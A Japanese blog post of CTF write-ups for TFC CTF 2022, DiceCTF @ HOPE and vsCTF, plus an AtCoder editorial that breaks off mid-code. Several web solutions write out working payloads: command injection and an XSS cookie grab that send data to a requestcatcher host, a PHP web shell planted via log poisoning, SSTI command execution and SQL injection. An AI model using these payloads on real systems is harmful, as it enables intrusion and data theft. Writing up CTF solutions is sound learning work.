はまやんはまやんはまやん

hamayanhamayan's blog

TFC CTF (2022) Writeups

[crypto] BASIC

/Rn/X7n#bUc.rjzh,|eEsg,?&QI;@^ARm}UKOkICi#X.ixEmN]D

Decrypt a Message - Cipher Identifier - Online Code Recognizer
ここで判別してみると、Base91らしい。
Base91 Encoding - Base 91 Online Decoder, Encoder, Translator
ここででコードしてみると、フラグが得られる。

TFCCTF{sh3's_4_10..._but_0n_th3_ph_sc4l3}

[crypto] MAFIOSO

f433c3e883a1389482c0b652660580f36ea037434fd4a67d193bc1cdc9b2cc34をDecrypt a Message - Cipher Identifier - Online Code Recognizer
に与えてみるとSHA-256と言われる。
あー、なるほど。

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
を使って、解析してみると、snitchesgetstitchesが元のようだ。
フォーマットに包んで提出すると正解だった。

TFCCTF{snitchesgetstitches}

[crypto] OBSCURE

文字列をコピーしてstrというファイル名で保存してxxd strで見てみると、フラグっぽい文字と.で見えてくる。

00000000: 54cc b6cd 91cc 8ecd 8bcd 8acc 95cd 9bcd  T...............
00000010: 9dcd 97cc 86cd 90cc 9acc 84cd 82cd 9dcc  ................
00000020: 9acd 80cc 92cd 9bcd 9dcc 95cc 89cc bfcc  ................
00000030: 8fcc 88cd 88cd 8dcc a5cd 9acc adcc 9ccd  ................
00000040: 87cc bbcc a5cc 98cc a8cc b9cc 9dcc a9cd  ................
00000050: 8dcc a6cc a7cc 9ccd 95cd 85cd 89cc a5cc  ................
00000060: b346 ccb6 cc85 cc94 cc9b cc88 cd90 cc95  .F..............
00000070: cd80 ccbe cc8b cd9d cda0 cd8a cd84 cd9b  ................
00000080: cd86 ccbf cc80 cd9d cc93 cd90 cd83 cd8b  ................
00000090: cc95 cc83 cd9b cc83 cd9d cc81 cc91 cc80  ................
...

あとは適当に要らない文字を削除するとフラグが得られる。

TFCCTF{s3cur1ty_thr0ugh_0bscur1ty}

[crypto] TRAIN TO PADDINGTON

雑にやったら解けてしまった感じがある。
FLAGの先頭はTFCCTF{であることはわかっているので、これを暗号化文の先頭とxorすれば鍵の先頭7文字が復元できる。
しかし、そのあとの9文字はわからないので全探索…とも思ったが、ちょっとサイズが大きい。
paddingで\x3fが使われていたのでわからない部分はとりあえずそれで埋めて復元してみる。

b'TFCCTF{?????????_h4s_l3-#S\x14#~T}%4t10n}?th3_tr41n'

何やら末尾に出てきた。確かによくよく考えるとこういう現象が起こる。
\x3fを鍵にすると、パディング埋めとして使っていた\x3fの個数分だけ末尾の鍵が漏洩する。
ちょうど漏洩部分と既知の部分をまとめるとTFCCTF{th3_tr41nとなって、ちょうど1ブロック分になる。
あとは、これを使って復元していくとフラグが得られる。

from Crypto.Util.number import *

enc = long_to_bytes(0xb4b55c3ee34fac488ebeda573ab1f974bf9b2b0ee865e45a92d2f14b7bdabb6ed4872e4dd974e803d9b2ba1c77baf725)
BLOCK_SIZE = 16

FLAG = b'TFCCTF{th3_tr41n'
while len(FLAG) < BLOCK_SIZE:
    FLAG += b'\x3f'

key = b''
for i in range(BLOCK_SIZE):
    key += (enc[i] ^ FLAG[i]).to_bytes(1, 'big')

print(key)

ans = b''

j = 0
for i in range(len(enc)):
    ans += (key[j] ^ enc[i]).to_bytes(1, 'big')
    j += 1
    j %= 16

print(ans) # b'TFCCTF{th3_tr41n_h4s_l3ft_th3_st4t10n}??????????'

[forensics] BBBBBBBBBB

strings chall.jpgしてみるとBBBBBBBBBBがたくさん出てくる。

バイナリエディタで眺めてみてもそれほど気になるところがない。
jpgファイルを開こうとすると壊れているみたいなので、試しにBBBBBBBBBBを削除してみると、jpgファイルが開けてフラグが得られた。
bbe -e 's/\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42//g' chall.jpg > new.jpg

TFCCTF{the_fl4g_1s_th3_w4y}

[forensics] ADDING IN PARTS

zipを解凍してみると大量のzipが出てくる。
中をちらっと見てみると文字が圧縮されているみたいなので、全部解凍して数字の順番に中に入っているファイルに書かれている文字を並べると文字列が出てきて、
答え…かと思ったが、そんな簡単な話ではなさそう。
バイナリを眺めても特に気になるところはないし…と思っていると解凍時にCRCが違うと言われる

試しに0.zipのCompressedDataをTにして、解凍してみると…エラー無しで解凍できますね…
これは面倒なことになったぞ…
やることはCompressedDataを適切に変更してCRCエラーがないものが答えのフラグとして復元できるというもの。
あとは実装。

import shutil
import zipfile

def update(idx, c):
    with open(f'{idx}.zip', 'rb') as f:
        data = f.read()
    offset = 0x1f
    if 10 <= idx:
        offset += 1
    data = data[:offset] + bytes(c.encode()) + data[offset + 1:]
    with open(f'{idx}.zip', 'wb') as f:
        f.write(data)

num = '0123456789'
cap = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
small = 'abcdefghijklmnopqrstuvwxyz'
symbol = '!@#$%^&*()_\-+=:;<,>.?\/{}'
dic = num + cap + small + symbol
flag = ''

for idx in range(22):
    ok = False
    for c in dic:
        update(idx, c)
        try:
            shutil.unpack_archive(f'{idx}.zip', 'dir_out')
            ok = True
            flag += c
            print(f"[+] find! {flag}")
        except zipfile.BadZipFile:
            pass
        if ok:
            break
    if not ok:
        flag += '?'
        print(f"[+] woops... {flag}")

print(f"[*] Here we go! {flag}")

こんな感じでファイルの内容を全探索してCRCが正しくなるまで試して、ちゃんと解凍できる(CRCが正しい)ならばフラグとして採用する。
これを繰り返すとフラグが出てくる…はずだが、10.zipのファイル名(アドレス0x1eと0x1fの部分)がなぜか11になっていて10に直すとちゃんと動く。

TFCCTF{ch3cksum2_g0od}

[misc] PATTERN

入力としてcountは1固定とすると任意の文字列を差し込めることになる。
{message}と入力すると、messageの内容を再度表示させることができる。
ここで面白いのが{message.__class__}とすると、クラスを参照することができる。
言われてみればそうなのだが、言われるまで気づかない。

あとはSSTIでもあるような感じで組み立てて探していく。
{message.__class__.__init__.__globals__}とするとフラグが得られた。

$ nc 01.linux.challenges.ctf.thefewchosen.com 58776
pattern> {message.__class__.__init__.__globals__}
count> 1
Here is your pattern: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fdddb543c10>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/main.py', '__cached__': None, 'dataclasses': <module 'dataclasses' from '/usr/local/lib/python3.10/dataclasses.py'>, 'errno': <module 'errno' (built-in)>, 'os': <module 'os' from '/usr/local/lib/python3.10/os.py'>, 'random': <module 'random' from '/usr/local/lib/python3.10/random.py'>, 'FLAG': 'TFCCTF{Th15_G1vEs_pr1ntf_v1b35}', 'Message': <class '__main__.Message'>, 'MESSAGES': [Thank you for using our service., Here is your pattern:, Until next time!], 'pattern': 
'{message.__class__.__init__.__globals__}', 'count': 1, 'final_pattern': '{message.__class__.__init__.__globals__}'}

[pwn] RANDOM

$ file random
random: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=defd9a2d9f6d0a4ec5067bc2ed810ee1444ea52c, for GNU/Linux 3.2.0, not stripped

$ checksec random 
[*] '/mnt/c/Users/eric/Downloads/TFC CTF/pwn-random/random'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ふむ…ghidraでCに戻してみる。

puts("Menu: \n1. Generate number");
__isoc99_scanf(&DAT_0010201e,&local_14);
if (local_14 == 1) {
    uVar1 = rand();
    printf("%d",(ulong)uVar1);
}
else if (local_14 == 0x539) {
    pcVar3 = getenv("FLAG");
    printf("%s",pcVar3);
}

こういう感じなので、入力に0x539、つまり1337を入れればフラグが手に入る。

$ nc 01.linux.challenges.ctf.thefewchosen.com 51657
Menu: 
1. Generate number
1337
TFCCTF{Th3r3_w3r3_m0r3_0pt10n5_4ft3r_4ll!}

[reverse] SOURCE

ghidraで見てみたが、面白いc言語のコードは見当たらなかった。
アセンブリを眺めると、フラグっぽいのが見つかる。
strings -n 10 sourceで文字列を抜き出すとフラグっぽいのが見つかる。
そのまま提出すると正解だった。

TFC{3v3ryth1ng_1s_0p3n_5ourc3_1f_y0u try_h4rd_3n0ugh}

[web] ROBOTS AND MUSIC

/にアクセスするとI hope you like robots!と言われる。
robotsと言えば…ということで/robots.txtにアクセスするとDisallow: /g00d_old_mus1c.phpと書いてある。
/g00d_old_mus1c.phpにアクセスするとフラグが書いてある。

TFCCTF{Kr4ftw3rk_4nd_th3_r0b0ts}

[web] PONG

/にアクセスするとリダイレクトが走り、Command executed: ping -c 2 127.0.0.1と出てくる。
URLを見てみると、/index.php?host=127.0.0.1になっている。
かなりコマンドインジェクション感がある。

適当にpayloadを試してみると/index.php?host=127.0.0.1%20%3b%20sleep%203で3秒のwaitが走った。
127.0.0.1 ; sleep 3を入力したことになる。

結果は帰ってこなさそうなので、requestcatcherで受け口を作って、結果を受け取ろう。
127.0.0.1 ; id | curl https://xxx.requestcatcher.com/post -X POST -d @-とするとidの結果が帰ってくる。
これで自由にコマンド実行できるようになったため、色々探索すると
127.0.0.1 ; cat /flag.txt | curl https://xxx.requestcatcher.com/post -X POST -d @-でフラグが手に入る。

つまり、/index.php?host=127.0.0.1%20%3b%20cat%20%2fflag.txt%20%7c%20curl%20https%3a%2f%2fxxx.requestcatcher.com%2fpost%20-X%20POST%20-d%20%40-
フラグ獲得。

TFCCTF{C0mm4nd_1nj3c5i0n_1s_E4sy}

[web] ARE YOU THE ADMIN?

まずはコードリーディングしてみる。
index.tsxの52行目を見るとisAdminがtrueのユーザーが作れればフラグが得られるようだ。
{user.isAdmin && <div>{user.flag}</div>}

ユーザー作成は27行目にあるようにPOST /api/authで作成しているみたい。
/api/authの定義が…見当たらない。
あまりよく理解してないけど、誰かがよしなにやってくれているんだろう。

実際に動かしてみる。
ユーザー名を入力してボタンをクリックすると、コードにもあったようにPOST /api/authがリクエストされた。
そのあと、謎のjsonファイルが戻ってきて、画面に応答が帰ってきている。

/api/authは自分で定義しているわけではないのでリクエストを見て色々判断していると想像し、
POSTリクエストをinterceptして、{"username":"abc2", "isAdmin":true}のようにbodyを入れ替えた。
するとisAdmin=trueのアカウントが作成できたようでフラグが手に入る。

TFCCTF{S4n1t1z3_Y0ur_1nput5!}

[web] DEEPLINKS

/にアクセスするとnothing to see hereと言われる。
ノーヒントすぎるので、問題文を読み返す。

My intern configured my iOS app and my website to handle deeplinks, but they didn't tell me the path :( Can you help me find it?

UAとかをiOSのそれに変えてみたりしたが、最終的に以下の情報が参考になった。 モバイルアプリにおけるディープリンクとメルカリShopsでの実装 | メルカリエンジニアリング
UniversalLinksの実装には、アプリ側でディープリンクとして扱いたいURLのドメインを指定し、
そのドメインの.well-known/以下にapple-app-site-associationというファイルを設置する必要があります。

あー、なんかレポートで見たことあるな。
それね。

/.well-known/apple-app-site-associationにアクセスすると謎のファイルがダウンロードされてきて、中にフラグが書いてある。

TFCCTF{4ppl3_4pp_51t3_4550c14t10n}

[web] CALENDAR

珍しい!wordpressのサイトが与えられる。
The flag is format :TFCCTF{FOUNDPASSWORD}とあるのでパスワードを特定する必要がありそう。

Burpに残っているリクエストを見てみると、
/wp-content/plugins/modern-events-calendar-lite/assets/js/frontend.js?ver=5.16.2
というのが残っている。
キャッシュパージのためにバージョンが使われているのでModern Events Calendar 5.16.2が入っていることがわかる。
調べると色々脆弱性が出てくる。

RCEもあるっぽいがパスワードを抜きたいので、試しにこれを使ってみる。
Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated) - PHP webapps Exploit
Exploitを持ってきてpython3 50084.py -T 01.linux.challenges.ctf.thefewchosen.com -P 52451 -U ""のように動かす。

['ID', 'Title', 'Start Date', 'Start Time', 'End Date', 'End Time', 'Link', 'Location', 'Address', 'Organizer', 'Organizer Tel', 'Organizer Email', 'Event Cost']
['5', 'give the developer the password from the wp site-> user:admin , password:WPNe3MgF$sNj8E8F6d', '2022-07-27', '8:00 am', '2022-07-27', '6:00 pm', 'http://01.linux.challenges.ctf.thefewchosen.com:52451/?mec-events=give-the-developer-the-password-from-the-wp-site-useradmin-passwordwpne3mgfsnj8e8f6d', '', '', '', '', '', '']

いい感じにパスワードっぽいのが抜けてきた。
フォーマットを合わせると、フラグ完成。

TFCCTF{WPNe3MgF$sNj8E8F6d}

[web] DIAMONDS

Write something nice here that passes our regexと言われる。
適当に文字を入れるとecho backされてくる。
適当に記号を入れるとThat is far away from nice !!と言われる。
全文字種を送りつけて反応を見てみたが、A-Za-z0-9ならecho backされて、記号ならほにゃららnice !!と言われるくらいしか変化がない。
何を要求されているのか全くわからん。

色々試すとinput=%81でエラーを出せた。

/app/app/controllers/input.rb in block in <class:Animated_template>
    if params[:input] =~ /^[0-9a-z ]+$/i
/usr/local/lib/ruby/2.7.0/webrick/httpserver.rb in service
      si.service(req, res)
/usr/local/lib/ruby/2.7.0/webrick/httpserver.rb in run
          server.service(req, res)
/usr/local/lib/ruby/2.7.0/webrick/server.rb in block in start_thread
          block ? block.call(sock) : run(sock)

/^[0-9a-z ]+$/i正規表現らしい。
改行とかでbypassできそうか。
%23%0d%0aABCとやると# ABCと出てきた。OK。
SSTIを疑って適当に試すと%3c%25%3d%206*6%20%25%3e%0d%0aABCで刺さる。
PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings
この辺を参考にしながら色々やると、%3c%25%3d%20%60ls%60%20%25%3e%0d%0aABCでlsができる。
flag.txtがあるので表示するとフラグが手に入る。

TFCCTF{02718f35dddc266e0ac40c0c0dcc98c34edd545678dc752ba9831b6d73bc706f}

[web] INCLUDE WHAT MATTERS.

/?file=test.txtはファイルがないらしい。

Warning: include(test.txt): Failed to open stream: No such file or directory in /var/www/html/index.php on line 25

Warning: include(): Failed opening 'test.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 25

/?file=/etc/passwdでpasswdファイル出ていたからLFIはできる。
php://filter/convert.base64-encode/resource=index.phpでindex.phpの中身を見てみよう。

    <?php
    echo "<a class=\"btn btn-primary\" href=\".?file=test.txt\" /> Your test </a><br><br>";
    if(isset($_GET['file'])){
       $file=$_GET['file'];
       $file=str_replace("../","",$file);
       include('' . $file);
}
    ?>

抜粋してみたが、特に面白くないな。
/var/log/apache2/access.logとUser-Agent使ってRCEまでつなげるアレを試すとうまくいく。

GET /?file=test.txt HTTP/1.1
Host: 01.linux.challenges.ctf.thefewchosen.com:50259
Upgrade-Insecure-Requests: 1
User-Agent: <?=`$_GET[0]`; ?>

のようなリクエストを送っておいて、
GET /?file=%2fvar%2flog%2fapache2%2faccess.log&0=id
のようにやればコマンド実行できる。

requestcatcherあたりを使ってダイレクトに応答をもらってきながら探索すると/hidden_fl4g.txtにフラグがあることがわかる。

0=cat%20%2fhidden_fl4g.txt%20%7c%20curl%20https%3a%2f%2fxxx.requestcatcher.com%2ftest%20-X%20POST%20-d%20%40-のような感じでコマンドを送るとフラグ獲得。

TFCCTF{LF1_1S_D4NG3R0US_4ND_L34DS_T0_RC3}

DiceCTF @ HOPE Writeups

CTFtime.org / DiceCTF @ HOPE

[crypto] obp

random.randrange(256)と1byte分の鍵が作られている。
鍵でxorして暗号文が作られているが、plaintextの先頭はフラグがhopeから始まると思うので、key = 0xba ^ ord('h')という感じで復元できる。
あとは1byteずつkeyでxorしてフラグを復元していこう。

from Crypto.Util.number import *

ciphertext = long_to_bytes(0xbabda2b7a9bcbda68db38dbebda68dbdb48db9b7aba18dbfb6a2aaa7a3beb1a2bfb7b5a3a7afd8)
key = 0xba ^ ord('h')

plaintext = ""
for c in ciphertext:
    plaintext += chr(c ^ key)
print(plaintext) # -> hope{not_a_lot_of_keys_mdpxuqlcpmegqu}

[crypto] pem

単に暗号化しているので、復号化すればいい。
PKCS#1 OAEP (RSA) — PyCryptodome 3.15.0 documentation
以上を参考に適当に復号スクリプトを書くとフラグが得られる

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

key = RSA.importKey(open('privatekey.pem').read())
cipher_rsa = PKCS1_OAEP.new(key)
flag = cipher_rsa.decrypt(open("encrypted.bin", "rb").read())

print(flag) # -> hope{crypto_more_like_rtfm_f280d8e}

[crypto] kfb

鍵は16bytes。暗号文は77bytesなので、平文も77bytesになる。

暗号化プロセスを見てみると、
encrypt(k, pt) = AES.ECB(k,k) ^ pt
という感じになっている。

自由入力に対して同じ暗号化プロセスを適用できるので、得られた暗号文に対して再度暗号化してみよう。

encrypt(k, encrypt(k, pt))
= AES.ECB(k,k) ^ encrypt(k, pt)
= AES.ECB(k,k) ^ AES.ECB(k,k) ^ pt
= pt

すると、ちょうどptに戻ってくれるので、これで復元していく。
入力値は1回で1BLOCK分(16bytes)しか暗号化してくれないので、先頭から順番に復号化していく。

from pwn import *
from Crypto.Util.number import *
from Crypto.Util.strxor import *

flag = b""

for i in range(77 // 16):
    with remote("mc.ax", 31968) as r:
        r.readuntil(b'> ')
        enc1_hex = r.readuntil(b'\n')[:-1]
        enc1 = long_to_bytes(int(enc1_hex, 16))
        r.sendlineafter(b"< ", enc1_hex[i * 32:])
        enc2 = long_to_bytes(int(r.readuntil(b'\n')[2:-1], 16))
        print(enc2)
        flag += enc2[:16]

print(flag) # -> b'hope{kfb_should_stick_to_stuff_he_knows_b3358db7e883ed54}\x07\x07\x07\x07\x07\x07\x07'

[misc] orphan

zipを回答すると、.gitファイルが大量に出てくる。
git reflogをしてみると最後のコミット以外にコミットがもう1つ見える。

$ git reflog
2ce03bc (HEAD -> main) HEAD@{0}: checkout: moving from flag to main
b53c9e6 HEAD@{1}: commit (initial): add flag
2ce03bc (HEAD -> main) HEAD@{2}: checkout: moving from flag to main
2ce03bc (HEAD -> main) HEAD@{3}: commit (initial): add foo

git show b53c9e6でコミット内容を見てみるとフラグがある。

hope{ba9f11ecc3497d9993b933fdc2bd61e5}

[rev] slices

コードを見ながら、slice構文に従って以下のように復元していく。

flag = '?'*32

starts = [0, 31, 5, 4, 3, 6, 7]
steps = [1, 1, 3, 4, 5, 3, 3]
patterns = ['hope{', '}', 'i0_tnl3a0', '{0p0lsl', 'e0y_3l', '_vph_is_t', 'ley0sc_l}']

for start, step, pattern in zip(starts, steps, patterns):
    for i in range(len(pattern)):
        flag = flag[0:start + i * step] + pattern[i] + flag[start + i * step + 1:]

print(f"[+] {flag}")

[rev] sequence

ghidraでCに戻して見てみよう。
check関数で判定されていて、判定が通ればフラグが表示される。
read_numbers関数で6つの数字を入力することができる。

  else if (buf[0] == 0xc) {
    for (i = 1; i < 6; i = i + 1) {
      iVar1 = buf[i + -1] * 3 + 7;
      uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1c;
      if (buf[i] != (iVar1 + uVar2 & 0xf) - uVar2) {
        ret = 0;
        goto LAB_00101305;
      }
    }
    ret = 1;
  }

この辺りが判定部分になる。
これをもとに復元コードを書いて、出てきた数字を入れるとフラグが手に入る。

#include <iostream>
using namespace std;
 
int main() {
    int buf [6];
    buf[0] = 0xc;
    for (int i = 1; i < 6; i = i + 1) {
        int iVar1 = buf[i + -1] * 3 + 7;
        uint uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1c;
        buf[i] = (iVar1 + uVar2 & 0xf) - uVar2;
    }
 
    for (int i = 0; i < 6; i = i + 1) {
        printf("%d\n", buf[i]);
    }
    return 0;
}
$ nc mc.ax 31973
input: 12 11 8 15 4 3
hope{definitely_solvable_with_angr}

[rev] super anti scalper solution 9000

ChromeのDevToolsを起動して、{}みたいなやつをクリックして整形する。
checkSolveというのがあるので内部をステップ実行していく。
適当にブレークして、if (n === o[ほにゃらら])のnには入力が入ってくるので、o[ほにゃらら]をConsoleで実行するとフラグが出てくる。

hope{sHoe_1ddbf55508afcc08_sold!}

[web] secure-page

Cookiesと記載があるので、Cookieを注意して見てみる。
GET /するとSet-Cookie: admin=falseと帰ってくる。
curl -b 'admin=true' https://secure-page.mc.ax/ | grep hopeでフラグゲット。

hope{signatures_signatures_signatures}

[web] reverser

ソースコードを見てみると、37行目のrender_template_stringに外部入力がそのまま渡されている。
SSTIで攻撃可能。

{{config}}で試すと500エラーになる。
あれ?
環境を作って動かしてログを見てみる…

output = }}gifnoc{{

あー。ちょうどいいので、}}gifnoc{{で試すとうまく動く。
問題名はそういうことね。

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}
逆を投げるとflag-ccba9605-afeb-49a6-8aac-d56bac20705b.txtが得られるので、
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag-ccba9605-afeb-49a6-8aac-d56bac20705b.txt').read()}}
逆を投げるとフラグゲット

hope{cant_misuse_templates}

[web] flag-viewer

abcと入力するとadminしか見られないと言われる。
adminを入力しようとすると失敗するが、POST /flagに直接adminを送ってみると、フラグが得られる。
curl https://flag-viewer.mc.ax/flag -X POST -d "user=admin" -v
locationに/?message=hope%7Boops_client_side_validation_again%7Dと入っているので、実際にGETでアクセスしてもいいし、
適当に変換するとフラグが得られる

hope{oops_client_side_validation_again}

[web] pastebin

コードリーディングで気になる所

  • index.js
    • 22行目 GET /Cookieのerrorの内容がそのまま出力
    • 42行目 POST /newでhtmlタグを抑止
    • 50行目 GET /flashで入力をCookieのerrorに入れている

/flashを呼べば自動でXSSが発火しそう。
https://pastebin.mc.ax/flash?message=%3Cs%3Exss
としてみると発動している。よさそう。

<img src=1 onerror="window.location.href='https://xxxxxxxxx.requestcatcher.com/test?get='+document.cookie">という感じで発火させて抜き出す。
https://pastebin.mc.ax/flash?message=%3cimg%20src%3d1%20onerror%3d%22window.location.href%3d'https%3a%2f%2fxxxxxxxxx.requestcatcher.com%2ftest%3fget%3d'%2bdocument.cookie%22%3e
をadmin-botに投げるとrequestcatcher経由でフラグが得られる。

hope{the_pastebin_was_irrelvant}

[web] point

問題としてはjson{"what_point":"that_point"}を与えられればフラグが得られる。
Unicodeか?と思ったが、\もフィルタされている。

うーん、と思って探すと以下のような記事を見つける。
Goにおけるjsonの扱い方を整理・考察してみた ~ データスキーマを添えて
case-insensitiveっぽい。

{"What_point":"that_point"}のように入力を渡すとフラグが得られる。

hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}

[web] oeps

まずはコードリーディング。

  • app.py
    • テーブルflagsにフラグは格納されるが、どこからも参照されていない。SQL Injectionするんだろう。
    • 193行目 submissionがSQL文に入力されているが、特殊なフィルタリング。脆弱か
      • これにより、pendingテーブルにデータを格納可能
      • GET /で表示される

app.pyだけを読んで糸口が見えてきたので、server.pyは読まずに攻撃を開始する。
submissionは空白を取り除いた後、回文であることを判定している。
よって、回文であって、flagを持ってくるようなpayloadを持ってくればよさそう。

insert into pending (user, sentence) values ('%s', '%s');
という感じで最初の%sはtokenが入るので無理で、後半にflagを入れるようにして
insert into pending (user, sentence) values ('%s', '' || (select flag from flags)); -- ');
という形を目指す。
入力は' || (select flag from flags)); --となり、ハイフン以降はコメントになるので、ちょうどここを中心として、逆の文字を入れて最終的なpayloadは
' || (select flag from flags)); -- ;))sgalf morf galf tceles( || '
これをPOST /submitのsubmisson=にエスケープして入れればフラグが得られる。

hope{ecid_gnivlovni_semordnilap_fo_kniht_ton_dluoc}

終わりに

inspect-meがマジで何が起きているのかさっぱりわからなかった…
こういうのってなんかジャンル名ついてるんだろうか。
アンチデバッグというか、どういう次元の話なんだろう。

あと、revのときに「GLIBC_2.34がない」みたいなエラーが出たけど、どうしたらよかったんだろう。
discordではubuntu21.10を使ったらできたって書いてあったけど、バージョンからubuntuバージョンを逆算する方法もわからんし、もっと手軽な方法ないんかな。

vsCTF (2022?) Writeups

2336点で65位/635。
んー、Web問…

[Web] Sanity Check

  • Burpで与えられたURLを開いてソースを眺めると、フラグが書いてある
  • curl https://challs.viewsource.me/sanity-check/ | grep vsctf

Web何も分からなかった…

[Forensic] Portal Savior

  • 一行目で検索すると、PortalのAIFファイルという形式と分かる
  • http://portalwiki.asshatter.org/index.php/Aperture_Image_Format.html っぽい
    • ここの「Method 1 (Precompiled)」を使えば開けそう
    • DATAというフォルダにあるAPERTURE.APFとかを見ると似たような形式になっていることが分かる
  • ちょっとファイル形式がおかしいので、フォーマット形式を見ながら修正する
    • (c) Doug Rattman 1985 All Rights Reserved!は要らないので消す
    • 改行回りがおかしいので、APERTURE.APFを見ながら改行を調整
  • 修正できたら、DATAフォルダのAPERTURE.APFを修正後のmaydayに置き換えると、隠された文字列が表示されてくる

[Forensic] Roblox 1

  • adファイルが2つ与えられる。FTK Imagerで開く
  • Robloxとはゲームっぽいので、とりあえずAppData回りを探してみるとRoblox関連のフォルダがあるのでダンプしてくる \\Users\adminbot6000\AppData\Local\Roblox
  • vscodeで開いて、nameで検索して適当に眺めているとftcsvisgreatという名前が出てくる。フラグフォーマットにくるんで提出すると通る

[Forensic] Roblox 2

  • ftcsvisgreatで検索して周辺を探っていくと、IDは3635455297であると分かる
  • logsフォルダを見ればよさそうなので、フォルダを限定してuserで検索する。大量に結果が出てくるので3635455297に関連するものを削除すると、もう一つユーザーが見つかる
  • 0.531.0.5310423_20220620T033202Z_Player_9BB0E_last.logにてamazingmaltというユーザーを見つけることができる
  • [FLog::GameJoinUtil]でそのログを見てみると、番号っぽいものが得られるのでrobloxでゲームが探せる画面を探して調べると、69184822という番号でゲームが見つかる
  • vsctf{themeparktycoon2}でフラグ獲得

[Crypto] Recovery

  • validate関数を読み込んでいく
  • passwordは49文字で、偶奇の文字は判定方法が異なる
  • 奇数番目の文字は前半部分のreturn Falseらへんまでで判定
    • for a, b in enumerate(zip(gate, key), 1):という感じでlen(b[1]) != 3 * (b[0] + 7 * a) // aを判定している
    • b[1]はその上のkey = ...で作っているが、passwordの奇数番目を後ろから1個飛ばしで取ってきたもののascii個数分7vs8vs9vs...みたいにくっつけている。
    • key, gateの宣言の下で
      • for a, b in enumerate(zip(gate, key), 1):
        • print(chr((3 * (b[0] + 7 * a) // a - 2) // 3 + 1))みたいにすれば奇数番目が逆順で手に入る
  • 偶数番目の文字は後半部分で判定している
    • hammer = {str(a): password[a] + password[a + len(password) // 2] for a in range(1, len(password) // 2, 2)}を読み解くことになる
    • まあ、入力を適当に入れて、print(hammer)をして中身を見てみるのが手っ取り早い
    • 偶数番目だけ持ってきて、半分に分割して前半と後半の2つにしたら、[前半の先頭][後半の先頭]1として先頭をどっちも取り除いて、ドットつけて、[前半の先頭][後半の先頭]3...みたいにして文字列を作っている
    • blockの中身をbase64デコードして、ルールに従ってばらせばフラグ完成
  • vsctf{Th353_FL4G5_w3r3_inside_YOU_th3_WH0L3_T1M3}

[Misc] Hexahue Hate!

  • hexahueでデコードされた画像が渡されるので、ただただデコードするだけ
  • 多分普通にやっていたらマジでhateだったと思うが、調べるとkusuwadaさんの素晴らしいデコーダーがある kusuwada/hexahue: Hexahue decoder and encoder
  • hexahue_decodeメソッド内部を位置調整する感じでリライトするとデコードできる
  • デコード文章をジーっと見つめるとTHE MESSAGE YOU SEEK IS IHATEHEXAHUESOMUCHPLEASEHELPとあるので、vsctfにくるんで提出

XX to XXX [AtCoder Beginner Contest 259 C]

https://atcoder.jp/contests/abc259/tasks/abc259_c

あるといい知識

  • (自分の解法では)ランレングス圧縮

解説

https://atcoder.jp/contests/abc259/submissions/33113322

ランレングス圧縮というものを知っていると少し解きやすかったかもしれない。

性質を探る

どうやったらSに変換処理を加えていってTにできるかを考えてみる。
簡単な性質から考えてみよう。

変換処理では2つ以上同じ文字が並んでいるときに、その文字を増やすような処理ができる。
既にある文字しか増やせないし、かつ、その同じ文字の隣にしか増やせない。
つまり、どのように変換しても存在しない文字は生み出せないし、変換によって文字の種類の順番を入れ替えることはできない。
ここから重要な性質として言えるのが
「Sに含まれる同じ文字をグループ化したときに同じような文字種構成になっていないといけない」
ことが分かる。

入力例1で考えてみる

abbaac
abbbbaaac

同じ文字をグループ化してみよう

[a][b][a][c]
[a][b][a][c]

同じような見た目になった。
このようなグループ化を行った場合にTが[a][b][c]や[a][b][a][b]のようになった場合は変換できない。
同じ見た目であれば、必ず変換可能だろうか?

更に性質を探る

入力例2がちょうどいい。

xyzz
xyyzz

同じ文字をグループ化してみよう

[x][y][z]
[x][y][z]

同じ見た目になったが、答えはNoが正しい。
これはSのyは1つなので、変換ルールを使って2つ以上に増やすことができないためである。
このような個数にまつわるルールがありそうだが、この変換ではそれを評価することはできない。グループ時に個数も保持することにしよう。

[x1][y1][z2]
[x1][y2][z2]

こうやって見てみると、個数が同じものは変換が必要ないので無視できて、yだけを評価すればいいが、
Sのyが1個なので、2個に増やすことができないので変換できないとなった。
この形式であれば適切な評価ができそうだ。

ルールをまとめる

まずは、S,Tに対して、同じ文字について個数をまとめる変換をしよう。xyyzz -> [x1][y2][z2]
グループの個数が同じで、かつ、出てくる文字の種類と順番が等しければ、大きなまとまり的にはOK。
各グループが変換できるかを考えると、

  • [x1] -> [x1] は何もしないからOK
  • でも、[x1] -> x[2]は1個しかないので無理
  • [x2] -> [x4] のように元々2個以上あれば、元々あった個数以上に増やすことは可能
  • 逆に[x2] -> [x1]のように元々あった個数以上に増やすことは無理

といった感じになるので、「1->1」、もしくは、「2以上->元々の個数以上」であればOKということになる。
これらを全てチェックして問題なければYes, 1つでもダメならNoを返すと答えになる。

実装は?

実装で躓いた人もいるかもしれない。
この文字種でグループ化して個数と共に保持するという変換方式は「ランレングス圧縮」と呼ばれる圧縮方法となる。
ランレングス圧縮のアルゴリズムについては、恐らく検索してもらった方が記事の質もいいし、早いので
「ランレングス圧縮 競プロ」あたりで検索して勉強するといいと思う。

自分の実装ではランレングス圧縮したら {文字,個数} の配列が圧縮結果として出力される関数を用意して
全体の実装を行った。
main関数だけ追ってもらえれば、全体の雰囲気が分かるかもしれない。

vector<pair<char, int>> runLengthEncoding(string s) {
    int n = s.length();

